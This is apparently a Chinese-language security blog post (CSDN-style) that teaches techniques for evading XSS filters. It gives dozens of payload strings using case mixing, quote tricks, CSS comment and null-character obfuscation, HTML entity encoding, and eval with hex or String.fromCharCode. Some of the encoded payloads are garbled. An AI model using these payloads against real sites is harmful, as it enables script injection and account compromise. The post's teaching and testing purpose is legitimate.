xss-day02

7)扰乱过滤规则


利用前面所述的各种技巧,包括HTML标签属性值、事件、CSS、编码技术等,用户能顺利
绕过XSS Filter的重重过滤。
程序员在汲取各种经验后,在开发过程中可能已经仔细考虑到各种触发XSS的情况,然后部署
好严谨的防御措施,如此一来, 系统也变得更加牢固、安全。但不要太自信,请继续看下面的示例:
一个正常的XSS输入:
<img src="javascript:alert(0);">

转换大小写后的XSS:
<IMG SRC="javascript:alert(0);">

大小写混淆的XSS:
<iMg sRC="jaVasCript:alert(0);">

不用双引号,而是使用单引号的XSS: 
<img src='javascript:alert(0);'>

不使用引号的XSS: 
<img src=javascript:alert(0) ;>

当利用expression执行跨站代码时,可以构造不同的全角字符来扰乱过滤规则:
<Xss STYLE="xss:expr E ssion(alert('XSs'))”>
<div style="{ 1eft:exp r es si 0 n(alert('xss'))}">

样式表中的/**/会被浏览器忽略,因此可以运用/**/来注释字符,通过插入混淆字符绕过过滤,
如:
<XSS STYLE="xss: expr/*XSS* /ession (alert('XSS')) ">
<div style="wid/****/th: expre/*Xss*/ssion (alert('XSS'));">

目前大多数过滤系统都采用黑名单式的过滤,用户可以结合使用注释字符干扰和欺骗过滤器,
测试用例如下:
<scriScriptpt>alert ('XSS')</script>
<img src="java/* /*javascript* /script/*javascript*/*/script:alert();" >
<img src="java/*script:alert() ;"><img src="javaa*/script:alert() ;">
<img src="java/*exp/**/script:alert() ;*/ression(alert(1))">
<img sty1e="width: exp/*ression(alert());" src="java/*exp/**/script:alert();*/ression .
(alert(1)) "> .
除了/**/外,样式标签中的\和结束符\0也是被浏览器忽略的,如:
@ \0im\port '\0ja\vasc\ript:alert("xss")';
@\i \0m\00p\000o\0000\00000r \000000t"url";


利用字符编码

字符编码在跨站脚本中经常运用到,透过这种技巧,不仅能让XSS代码绕过服务端的过滤,
还能更好地隐藏Shellcode.如前文所述,HTML标签中的某些属性值可以使用&#ASCII方式进行编码改写,
这种XSS转码支持十进制和十六进制形式。为了方便测试,我们接下来使用一一个XSS编码工具,
以便对字符串进行十进制和十六进制的编码解码,该工具还可以实现ESCAPE转码和解码。
以“<img src="javascript:alert('XSS);">”为例,它的属性值为: 
javascript:alert('XSS');

进行十进制转码(&#)后得到:
&#106&#97&#118&#97&#115&#99&#114&#105&#112&#116&#58&#97&#108&#101&#114&#116&#406#39&#
88&#83&#83&#39&#416#59

完整的XSS Expliot如下:
<img src="&#106&#97&#118&#97&#115&#99&#1146#1056#112&#1166#585#97&#108&#1016#114&#116&#40&#39&#88&#83&#83&#39&#41&#59">

还可以在每个十进制字符后加上;,或者采用&#0、 &#00、&#000、&#0000、&#0;、 &#00;、
&#000;、&#0000;

另外,在JavaScript中有- -一个eval)函数,该函数可计算字符串,并执行其中的JavaScript代码,
如下所示:
<script>
eval ("alert('XSS')");
</script>


我们可以使用\连接十六进制字符串,然后使用eval()函数执行十六进制字符串形式的脚本,如
对aler('XSS)进行十六进制转码后得到:
\61\6c\65\72\74\28\27\58\53\53\27\29
那么,完整的XSS代码为:
<script>
eval("\x61\x6c\x65\x72\x74\x28\x27\x58\x53\x53\x27\x29");
</script>

eval()也可以执行10进制形式的脚本,但需要配合String.fromCharCode()函 数使用。
string.formcharcode(用于将字符转为ASCII值,例如一个正常形式的XSS示例为:
<img src="javascript:eval (alert('XSS'))">


结合使用eval()和String.fromCharCode()函数后变成:
<img src="javascript :eval (String. fromCharCode (97, 108, 101,114, 116,40, 39, 88, 83,83,39,41))">

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值